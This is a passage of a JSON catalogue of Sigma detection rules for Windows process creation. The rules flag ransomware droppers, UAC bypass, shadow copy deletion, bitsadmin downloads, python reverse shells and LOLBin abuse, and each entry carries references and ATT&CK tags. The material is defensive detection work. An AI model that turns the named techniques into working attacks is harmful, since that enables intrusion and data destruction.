oscd.community", "creation_date": "2019/10/30", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_apt_mustangpanda.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://app.any.run/tasks/b12cccf3-1c22-4e28-9d3e-c7a6062f3914/", "https://app.any.run/tasks/7ca5661d-a67b-43ec-98c1-dd7a8103c256/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mustangpanda.yml" ], "tags": [ "attack.t1587.001", "attack.resource_development" ] }, "related": [ { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2d87d610-d760-45ee-a7e6-7a6f2a65de00", "value": "Mustang Panda Dropper" }, { "description": "Detects the use of a Visual Studio bundled tool named DumpMinitool.exe", "meta": { "author": "Florian Roth", "creation_date": "2022/04/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_proc_dump_dumpminitool.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1511489821247684615", "https://twitter.com/mrd0x/status/1511415432888131586?s=20&t=DvVrzeZ1OcGiWowbhPV8Lg", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_dumpminitool.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dee0a7a3-f200-4112-a99b-952196d81e42", "value": "DumpMinitool Usage" }, { "description": "Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe", "meta": { "author": "Markus Neis, Sander Wiebing", "creation_date": "2018/11/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_file_characteristics.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/#/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection", "https://securelist.com/muddywater/88059/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml" ], "tags": [ "attack.execution", "attack.t1059.006" ] }, "related": [ { "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9637e8a5-7131-4f7f-bdc7-2b05d8670c43", "value": "Suspicious File Characteristics Due to Missing Fields" }, { "description": "Detects specific process characteristics of Maze ransomware word document droppers", "meta": { "author": "Florian Roth", "creation_date": "2020/05/08", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_crime_maze_ransomware.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/51e7185c-52d7-4efb-ac0d-e86340053473/", "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", "https://app.any.run/tasks/65a79440-373a-4725-8d74-77db9f2abda4/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_maze_ransomware.yml" ], "tags": [ "attack.execution", "attack.t1204.002", "attack.t1047", "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "29fd07fc-9cfd-4331-b7fd-cc18dfa21052", "value": "Maze Ransomware" }, { "description": "Detects when a program changes the default file association of any extension to an executable", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_change_default_file_assoc_susp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/assoc", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_assoc_susp.yml" ], "tags": [ "attack.persistence", "attack.t1546.001" ] }, "uuid": "ae6f14e6-14de-45b0-9f44-c0986f50dc89", "value": "Change Default File Association To Executable" }, { "description": "Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, Florian Roth", "creation_date": "2019/10/24", "falsepositive": [ "Unknown sub processes of Wsreset.exe" ], "filename": "proc_creation_win_uac_bypass_wsreset.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", "https://twitter.com/ReaQta/status/1222548288731217921", "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", "https://www.activecyber.us/activelabs/windows-uac-bypass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d797268e-28a9-49a7-b9a8-2f5039011c5c", "value": "Bypass UAC via WSReset.exe" }, { "description": "Detects LockerGoga Ransomware command line.", "meta": { "author": "Vasiliy Burov, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_mal_lockergoga_ransomware.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.f-secure.com/analysis-of-lockergoga-ransomware/", "https://medium.com/@malwaredancer/lockergoga-input-arguments-ipc-communication-and-others-bd4e5a7ba80a", "https://www.carbonblack.com/blog/tau-threat-intelligence-notification-lockergoga-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_lockergoga_ransomware.yml" ], "tags": [ "attack.impact", "attack.t1486" ] }, "related": [ { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "74db3488-fd28-480a-95aa-b7af626de068", "value": "LockerGoga Ransomware" }, { "description": "Detects execution of python using the \"-c\" flag. This is could be used as a way to launch a reverse shell or execute live python code.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_python_inline_command_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.python.org/3/using/cmdline.html#cmdoption-c", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_inline_command_execution.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "899133d5-4d7c-4a7f-94ee-27355c879d90", "value": "Python Inline Command Execution" }, { "description": "Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation but rarely used by administrators", "meta": { "author": "Florian Roth", "creation_date": "2018/08/13", "falsepositive": [ "Admin activity", "Scripts and administrative tools used in the monitored environment", "Monitoring activity" ], "filename": "proc_creation_win_susp_whoami.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami.yml" ], "tags": [ "attack.discovery", "attack.t1033", "car.2016-03-001" ] }, "uuid": "e28a5a99-da44-436d-b7a0-2afc20a5f413", "value": "Whoami Execution" }, { "description": "Detects a ping command that uses a hex encoded IP address", "meta": { "author": "Florian Roth", "creation_date": "2018/03/23", "falsepositive": [ "Unlikely, because no sane admin pings IP addresses in a hexadecimal form" ], "filename": "proc_creation_win_susp_ping_hex_ip.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna", "https://twitter.com/vysecurity/status/977198418354491392", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_hex_ip.yml" ], "tags": [ "attack.defense_evasion", "attack.t1140", "attack.t1027" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1a0d4aba-7668-4365-9ce4-6d79ab088dfd", "value": "Ping Hex IP" }, { "description": "Detects the creation or update of a scheduled task to run with \"NT AUTHORITY\\SYSTEM\" privileges", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_schtasks_system.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "89ca78fd-b37c-4310-b3d3-81a023f83936", "value": "Schtasks Creation Or Modification With SYSTEM Privileges" }, { "description": "Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)", "meta": { "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community", "creation_date": "2018/09/03", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_susp_powershell_base64_encoded_cmd.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_base64_encoded_cmd.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ca2092a1-c273-4878-9b4b-0d60115bf5ea", "value": "Suspicious Encoded PowerShell Command Line" }, { "description": "Detects when the Console Window Host (conhost.exe) process is spawned by a suspicious parent process, which could be indicative of code injection.", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_parent_of_conhost.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parent_of_conhost.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cbb9e3d1-2386-4e59-912e-62f1484f7a89", "value": "Conhost Spawned By Suspicious Parent Process" }, { "description": "Detects a ZxShell start by the called and well-known function name", "meta": { "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", "creation_date": "2017/07/20", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_apt_zxshell.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_zxshell.yml" ], "tags": [ "attack.execution", "attack.t1059.003", "attack.defense_evasion", "attack.t1218.011", "attack.s0412", "attack.g0001" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f0b70adb-0075-43b0-9745-e82a1c608fcc", "value": "ZxShell Malware" }, { "description": "Attackers may leverage fsutil to enumerated connected drives.", "meta": { "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", "creation_date": "2022/03/29", "falsepositive": [ "Certain software or administrative tasks may trigger false positives." ], "filename": "proc_creation_win_fsutil_drive_enumeration.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml", "Turla has used fsutil fsinfo drives to list connected drives.", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive_enumeration.yml" ], "tags": [ "attack.discovery", "attack.t1120" ] }, "uuid": "63de06b9-a385-40b5-8b32-73f2b9ef84b6", "value": "Fsutil Drive Enumeration" }, { "description": "Detects execution of \"sc.exe\" to query information about registered services on the system", "meta": { "author": "frack113", "creation_date": "2021/12/06", "falsepositive": [ "Legitimate query of a service by an administrator to get more information such as the state or PID" ], "filename": "proc_creation_win_sc_query.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-1---system-service-discovery", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_query.yml" ], "tags": [ "attack.discovery", "attack.t1007" ] }, "uuid": "57712d7a-679c-4a41-a913-87e7175ae429", "value": "SC.EXE Query Execution" }, { "description": "Detect usage of the \"ssh.exe\" binary as a proxy to launch other programs", "meta": { "author": "frack113", "creation_date": "2022/12/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_ssh.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Ssh/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ssh.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7d6d30b8-5b91-4b90-a891-46cccaf29598", "value": "Lolbin Ssh.exe Use As Proxy" }, { "description": "This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", "meta": { "author": "Agro (@agro_sev) oscd.communitly", "creation_date": "2020/10/13", "falsepositive": [ "Direct PS command execution through SQLToolsPS.exe is uncommon, childprocess sqltoolsps.exe spawned by smss.exe is a legitimate action." ], "filename": "proc_creation_win_susp_use_of_sqltoolsps_bin.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/pabraeken/status/993298228840992768", "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqltoolsps_bin.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a746c9b8-a2fb-4ee5-a428-92bee9e99060", "value": "SQL Client Tools PowerShell Session Detection" }, { "description": "Detects using register-cimprovider.exe to execute arbitrary dll file.", "meta": { "author": "Ivan Dyachkov, Yulia Fomina, oscd.community", "creation_date": "2020/10/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_register_cimprovider.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/", "https://twitter.com/PhilipTsukerman/status/992021361106268161", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574" ] }, "related": [ { "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a2910908-e86f-4687-aeba-76a5f996e652", "value": "DLL Execution Via Register-cimprovider.exe" }, { "description": "Detects PowerShell script execution from Alternate Data Stream (ADS)", "meta": { "author": "Sergey Soldatov, Kaspersky Lab, oscd.community", "creation_date": "2019/10/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_run_powershell_script_from_ads.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_ads.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "45a594aa-1fbd-4972-a809-ff5a99dd81b8", "value": "Run PowerShell Script from ADS" }, { "description": "Shadow Copies deletion using operating systems utilities", "meta": { "author": "Florian Roth, Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades)", "creation_date": "2019/10/22", "falsepositive": [ "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason", "LANDesk LDClient Ivanti-PSModule (PS EncodedCommand)" ], "filename": "proc_creation_win_shadow_copies_deletion.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/", "https://blog.talosintelligence.com/2017/05/wannacry.html", "https://redcanary.com/blog/intelligence-insights-october-2021/", "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/Neo23x0/Raccine#the-process", "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/", "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_deletion.yml" ], "tags": [ "attack.defense_evasion", "attack.impact", "attack.t1070", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c947b146-0abc-4c87-9c64-b17e9d7274a2", "value": "Shadow Copies Deletion Using Operating Systems Utilities" }, { "description": "Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wab_execution_from_non_default_location.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml" ], "tags": [ "attack.defense_evasion", "attack.execution" ] }, "uuid": "395907ee-96e5-4666-af2e-2ca91688e151", "value": "Wab Execution From Non Default Location" }, { "description": "Detects usage of bitsadmin downloading a file", "meta": { "author": "Michael Haag, FPT.EagleEye", "creation_date": "2017/03/09", "falsepositive": [ "Some legitimate apps use this, but limited." ], "filename": "proc_creation_win_bitsadmin_download.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197", "attack.s0190", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d059842b-6b9d-4ed1-b5c3-5b89143c6ede", "value": "Bitsadmin Download" }, { "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", "meta": { "author": "Timur Zinniatullin, E.M. Anhaus, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Highly likely if rar is a default archiver in the monitored environment." ], "filename": "proc_creation_win_data_compressed_with_rar.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_data_compressed_with_rar.yml" ], "tags": [ "attack.collection", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6f3e2987-db24-4c78-a860-b4f4095a7095", "value": "Data Compressed - rar.exe" }, { "description": "Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively", "meta": { "author": "Sai Prashanth Pulisetti @pulisettis, Nasreddine Bencherchali", "creation_date": "2022/12/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sharp_impersonation_tool.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/", "https://github.com/S3cur3Th1sSh1t/SharpImpersonation", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharp_impersonation_tool.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1134.001", "attack.t1134.003" ] }, "related": [ { "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "8cdeb020-e31e-4f88-a582-f53dcfbda819", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f89b08d0-77ad-4728-817b-9b16c5a69c7a", "value": "SharpImpersonation Execution" }, { "description": "Detects the import of the '.reg' files from suspicious paths using the 'reg.exe' utility", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2022/08/01", "falsepositive": [ "Legitimate import of keys" ], "filename": "proc_creation_win_reg_import_from_suspicious_paths.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml" ], "tags": [ "attack.t1112", "attack.defense_evasion" ] }, "uuid": "62e0298b-e994-4189-bc87-bc699aa62d97", "value": "Imports Registry Key From a File Using Reg.exe" }, { "description": "Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/10", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_get_localgroup_member_recon.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_get_localgroup_member_recon.yml" ], "tags": [ "attack.discovery", "attack.t1087.001" ] }, "related": [ { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c8a180d6-47a3-4345-a609-53f9c3d834fc", "value": "Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet" }, { "description": "Detects suspicious command line arguments of common data compression tools", "meta": { "author": "Florian Roth, Samir Bousseaden", "creation_date": "2019/10/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_compression_params.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1184067445612535811", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_compression_params.yml" ], "tags": [ "attack.collection", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "27a72a60-7e5e-47b1-9d17-909c9abafdcd", "value": "Suspicious Compression Tool Parameters" }, { "description": "Detects usage of the manage-bde.wsf script that may indicate an attempt of proxy execution from script", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_manage_bde_lolbas.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", "https://twitter.com/JohnLaTwC/status/1223292479270600706", "https://twitter.com/bohops/status/980659399495741441", "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_manage_bde_lolbas.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c363385c-f75d-4753-a108-c1a8e28bdbda", "value": "Suspicious Usage of the Manage-bde.wsf Script" }, { "description": "The \"VSIISExeLauncher.exe\" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_vsiisexelauncher.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "18749301-f1c5-4efc-a4c3-276ff1f5b6f8", "value": "Use of VSIISExeLauncher.exe" }, { "description": "Detect execution of suspicious double extension files in ParentCommandLine", "meta": { "author": "frack113", "creation_date": "2023/01/06", "falsepositive": [ "Unknown" ], 